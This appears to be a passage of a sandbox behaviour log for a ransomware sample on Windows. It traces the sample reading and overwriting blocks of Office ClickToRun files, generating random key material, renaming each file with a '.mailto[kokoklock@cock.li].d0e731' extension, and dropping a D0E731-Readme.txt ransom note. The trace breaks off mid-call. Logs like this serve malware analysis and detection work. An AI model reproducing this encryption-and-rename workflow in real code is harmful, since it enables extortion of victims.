RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.145] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.145] ReadFile (in: hFile=0x3d0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x281bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x281bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0084.146] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.146] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.146] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.146] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.146] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0084.147] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.147] WriteFile (in: hFile=0x3d0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x281bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x281bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0084.147] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.147] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1c41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.147] ReadFile (in: hFile=0x3d0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x281bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x281bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0084.149] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x1c41a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0084.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f9b8 [0084.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbb8 [0084.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbb8) returned 1 [0084.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.149] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db68 [0084.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db68) returned 1 [0084.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0084.149] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0084.149] WriteFile (in: hFile=0x3d0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x281bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x281bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0084.150] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.150] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x380774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.150] ReadFile (in: hFile=0x3d0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x281bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x281bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0084.150] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x380774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.150] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0084.151] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d938 [0084.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d938) returned 1 [0084.151] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.151] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342da28 [0084.151] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0084.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0084.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.151] WriteFile (in: hFile=0x3d0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x281bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x281bf9e0*=0x4096, lpOverlapped=0x0) returned 1 [0084.151] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.151] WriteFile (in: hFile=0x3d0, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x281bfa3c, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x281bfa3c*=0x20, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d820*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x281bfa3c, lpOverlapped=0x0 | out: lpBuffer=0x342d820*, lpNumberOfBytesWritten=0x281bfa3c*=0x20, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x342da28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x281bfa3c, lpOverlapped=0x0 | out: lpBuffer=0x342da28*, lpNumberOfBytesWritten=0x281bfa3c*=0x20, lpOverlapped=0x0) returned 1 [0084.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d910*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x342d910*, lpNumberOfBytesWritten=0x281bfa44*=0x8, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x281bfa5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x281bfa5c*, lpNumberOfBytesWritten=0x281bfa44*=0x4, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x281bfa44*=0x4, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x281bfa44*=0x6c, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d898*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x342d898*, lpNumberOfBytesWritten=0x281bfa44*=0x20, lpOverlapped=0x0) returned 1 [0084.152] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x281bfa44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x281bfa44*=0x4, lpOverlapped=0x0) returned 1 [0084.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.152] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d910) returned 1 [0084.152] CloseHandle (hObject=0x3d0) returned 1 [0084.153] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x34226e8 [0084.153] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" [0084.153] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" [0084.153] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.153] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.154] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.154] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\stream.x64.x-none.man.dat", dwFileAttributes=0x20) returned 0 [0084.154] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd4) returned 0x3494b38 [0084.154] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\" [0084.154] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" [0084.154] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\d0e731-readme.txt")) returned 0xffffffff [0084.154] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0084.155] WriteFile (in: hFile=0x3d0, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x281bfa40, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x281bfa40*=0x481, lpOverlapped=0x0) returned 1 [0084.155] CloseHandle (hObject=0x3d0) returned 1 [0084.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.156] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0084.156] RtlExitUserThread (Status=0x1) Thread: id = 1130 os_tid = 0xfa4 [0082.787] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20 [0084.109] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 1 [0084.109] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0084.109] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2823f7a0 | out: lpFileSize=0x2823f7a0*=22095) returned 1 [0084.109] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x564b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.109] ReadFile (in: hFile=0x3d0, lpBuffer=0x2823f774, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x2823f774*, lpNumberOfBytesRead=0x2823f770*=0x4, lpOverlapped=0x0) returned 1 [0084.111] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.111] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d848 [0084.111] NtQuerySystemTime (in: CurrentTime=0x2823f74c | out: CurrentTime=0x2823f74c*=132121176420079595) returned 0x0 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xf5a27f55 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xd1f9b850 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x25016d2 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x475fd0aa [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xccda707c [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x74b25f75 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x3d6f9e69 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x98394b45 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x34afb53e [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x6bba336a [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xbfdf212a [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x63796cbc [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xbe6172a8 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x4172fa7 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x53702beb [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x986b5a30 [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x55379bed [0084.111] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x641b9310 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x7603d1f9 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xbe6e4608 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x9710bbe [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x33ef23d5 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xcc285a7e [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xd3bc7d3e [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x87302896 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x197718ea [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x47439e5 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x231aa27c [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xe941866e [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0xf21516eb [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x26078918 [0084.112] RtlRandom (in: Seed=0x2823f758 | out: Seed=0x2823f758) returned 0x18cadcb3 [0084.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.122] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.122] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.122] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.123] ReadFile (in: hFile=0x3d0, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2823f724, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2823f724*=0x4096, lpOverlapped=0x0) returned 1 [0084.126] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.126] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.126] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.126] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.126] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.126] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0084.127] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.127] WriteFile (in: hFile=0x3d0, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2823f724, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2823f724*=0x4096, lpOverlapped=0x0) returned 1 [0084.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.127] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x564f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.127] WriteFile (in: hFile=0x3d0, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2823f75c, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x2823f75c*=0x20, lpOverlapped=0x0) returned 1 [0084.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0084.127] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.127] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d8e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x342d8e8*, lpNumberOfBytesWritten=0x2823f770*=0x8, lpOverlapped=0x0) returned 1 [0084.127] WriteFile (in: hFile=0x3d0, lpBuffer=0x2823f788*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x2823f788*, lpNumberOfBytesWritten=0x2823f770*=0x4, lpOverlapped=0x0) returned 1 [0084.127] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2823f770*=0x4, lpOverlapped=0x0) returned 1 [0084.127] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2823f770*=0x6c, lpOverlapped=0x0) returned 1 [0084.128] WriteFile (in: hFile=0x3d0, lpBuffer=0x342d898*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x342d898*, lpNumberOfBytesWritten=0x2823f770*=0x20, lpOverlapped=0x0) returned 1 [0084.128] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2823f770, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2823f770*=0x4, lpOverlapped=0x0) returned 1 [0084.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8c0) returned 1 [0084.128] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.128] CloseHandle (hObject=0x3d0) returned 1 [0084.128] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x34226e8 [0084.128] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" [0084.128] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0084.128] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.129] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.129] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.129] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 0 [0084.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494cf8 [0084.129] wcscpy (in: _Dest=0x3494cf8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\" [0084.129] wcscat (in: _Dest=0x3494cf8, _Source="D0E731-Readme.txt" | out: 